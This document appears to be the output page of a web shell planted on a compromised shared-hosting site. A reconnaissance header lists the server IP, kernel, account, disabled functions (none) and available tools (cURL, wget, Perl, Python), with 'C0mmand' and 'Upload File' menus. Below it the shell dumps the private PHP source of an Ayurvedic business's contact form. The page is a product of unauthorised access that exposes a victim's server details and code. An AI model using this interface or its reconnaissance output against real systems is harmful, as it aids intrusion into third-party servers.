Server IP : 103.53.40.154 / Your IP : 3.17.155.142 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/indianherbaltreatment.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include_once('admin/config.php'); if ($_SERVER["REQUEST_METHOD"] === "POST") { if (isset($_POST['submit'])) { $name = $_POST['name']; $phone = $_POST['phone']; $email = $_POST['email']; $subject = $_POST['subject']; $message = $_POST['message']; if (empty($name)) { $errors[] = "Name field is required."; } elseif (!ctype_alpha($name)) { $errors[] = "Name can only contain alphabets."; } if (empty($email)) { $errors[] = "Email field is required."; } if (empty($phone)) { $errors[] = "Phone field is required."; } elseif (!preg_match('/^\d{10}$/', $phone)) { $errors[] = "Phone number should have exactly 10 digits."; } if (!empty($message)) { $message = htmlspecialchars($message); // Sanitize the message input } if (empty($errors)) { $query = "INSERT INTO `tbl_queries` (`name`, `phone`, `email`,`subject`, `message`) VALUES (?, ?, ?, ?, ?)"; $stmt = mysqli_prepare($db, $query); mysqli_stmt_bind_param($stmt, "sssss", $name, $phone, $email, $subject, $message); $result = mysqli_stmt_execute($stmt); mysqli_stmt_close($stmt); if ($result) { echo "<script> window.alert('Successfully Sent! We will contact you soon'); window.location.href = '$wspath' + 'contact.html'; </script>"; } else { echo "Error"; } } } } ?> <!doctype html> <html lang="zxx"> <head> <title>Ibrahim Ayurvedic Khandani Dawakhana</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <?php include 'top-link.php' ?> </head> <body> <?php include 'header.php' ?> <section style="background-color: #166b69;" class="burger-heade"> <div class="container"> <div class="row"> <div class="col"> <p style=" margin: 10px;"><a href="<?php echo $wspath?>">Home</a> <span style="color:white">/</span> <span style="color:white">Contact</span></p> </div> </div> </div> </section> <div class="contact-form-area pt-100 pb-70"> <div class="container"> <div class="section-title text-center"> <h2>Let's Send Us a Message Below</h2> </div> <div class="row pt-45"> <div class="col-lg-4"> <div class="contact-info mr-20"> <span>Contact Info</span> <h2>Let's Connect With Us</h2> <ul> <li> <div class="content"> <i class='bx bx-phone-call'></i> <h3>Phone Number</h3> <a href="tel:<?php echo $datac["phone"]; ?>"><?php echo $datac["phone"]; ?></a> </div> </li> <li> <div class="content"> <i class='bx bxs-map'></i> <h3>Address</h3> <span><?php echo $datac["address"]; ?></span> </div> </li> <li> <div class="content"> <i class='bx bx-message'></i> <h3>Email Info</h3> <a href="mailto:<?php echo $datac["email"]; ?>"> <?php echo $datac["email"]; ?></a> </div> </li> </ul> </div> </div> <div class="col-lg-8"> <div class="contact-form"> <form method="POST" action="<?php $_PHP_SELF?>"> <div class="row"> <div class="col-lg-6"> <div class="form-group"> <label>Your Name <span>*</span></label> <input type="text" name="name" id="name" class="form-control" required data-error="Please Enter Your Name" placeholder="Name"> <?php if (isset($errors) && in_array("Name field is required.", $errors)) { ?> <p class="error">Name field is required.</p> <?php } elseif (isset($errors) && in_array("Name can only contain alphabets.", $errors)) { ?> <p class="error">Name can only contain alphabets.</p> <?php } ?> <div class="help-block with-errors"></div> </div> </div> <div class="col-lg-6"> <div class="form-group"> <label>Your Email <span>*</span></label> <input type="email" name="email" id="email" class="form-control" required data-error="Please Enter Your Email" placeholder="Email"> <?php if (isset($errors) && in_array("Email field is required.", $errors)) { ?> <p class="error">Email field is required.</p> <?php } ?> <div class="help-block with-errors"></div> </div> </div> <div class="col-lg-6"> <div class="form-group"> <label>Phone Number <span>*</span></label> <input type="text" name="phone" id="phone_number" required data-error="Please Enter Your number" class="form-control" placeholder="Phone Number" id="phone_no" minlength="10" maxlength="10" onkeypress="return isNumberKey(event)" pattern=".{10,10}" required> <?php if (isset($errors) && in_array("Phone field is required.", $errors)) { ?> <p class="error">Phone field is required.</p> <?php } elseif (isset($errors) && in_array("Phone number should have exactly 10 digits.", $errors)) { ?> <p class="error">Phone number should have exactly 10 digits.</p> <?php } ?> <div class="help-block with-errors"></div> </div> </div> <div class="col-lg-6"> <div class="form-group"> <label>Your Subject <span>*</span></label> <input type="text" name="subject" id="msg_subject" class="form-control" required data-error="Please Enter Your Subject" placeholder="Your Subject"> <div class="help-block with-errors"></div> </div> </div> <div class="col-lg-12 col-md-12"> <div class="form-group"> <label>Your Message <span>*</span></label> <textarea name="message" class="form-control" id="message" cols="30" rows="8" required data-error="Write your message" placeholder="Your Message"></textarea> <div class="help-block with-errors"></div> </div> </div> <!-- <div class="col-lg-12 col-md-12"> <div class="agree-label"> <input type="checkbox" id="chb1"> <label for="chb1"> Accept <a href="terms-condition.html">Terms & Conditions</a> And <a href="privacy-policy.html">Privacy Policy.</a> </label> </div> </div> --> <div class="col-lg-12 col-md-12 text-center"> <button type="submit" name="submit" class="default-btn btn-bg-two border-radius-50"> Send Message <i class='bx bx-chevron-right'></i> </button> <!--<div id="msgSubmit" class="h3 text-center hidden"></div>--> <div class="clearfix"></div> </div> </div> </form> </div> </div> </div> </div> </div> <div class="buy-button my-3"> <a class="blinking" style="background: red; padding: 10px; border-radius: 10px; margin: 10px auto; display: block;" href="tel:9958276296" id="blink-button"> <p style="color:white; margin: 0px; font-weight: 600;" class="text-center">525 पेज और 483 जड़ी बूटियां की किताब के लये संपर्क करें! <b>9958276296</b> </p> </a> </div> <?php include 'footer.php' ?> </body> </html>